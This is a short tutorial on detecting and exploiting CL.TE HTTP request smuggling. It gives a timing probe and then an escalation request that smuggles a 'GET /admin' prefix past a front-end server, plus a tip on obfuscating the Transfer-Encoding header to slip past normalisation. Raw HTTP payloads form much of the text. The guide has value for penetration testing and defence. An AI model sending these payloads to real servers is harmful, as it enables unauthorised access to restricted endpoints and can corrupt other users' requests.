Detect CL.TE request smuggling without breaking the app
Front end uses Content-Length, back end uses Transfer-Encoding, or vice versa. A safe detection probe forces one server to hang waiting for bytes the other already closed, so a delayed response signals desync without poisoning other users.
http
POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
If the response hangs about the socket timeout, the back end read the chunked body and is waiting for the next chunk. Escalate carefully to a smuggled prefix.
http
POST / HTTP/1.1
Content-Length: 61
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-Ignore: x
Pro note: obfuscate the TE header (Transfer-Encoding: chunked, tab, or duplicated) since front ends often normalize the plain form. Always test on your own account traffic first to avoid trapping real users’ requests in the queue.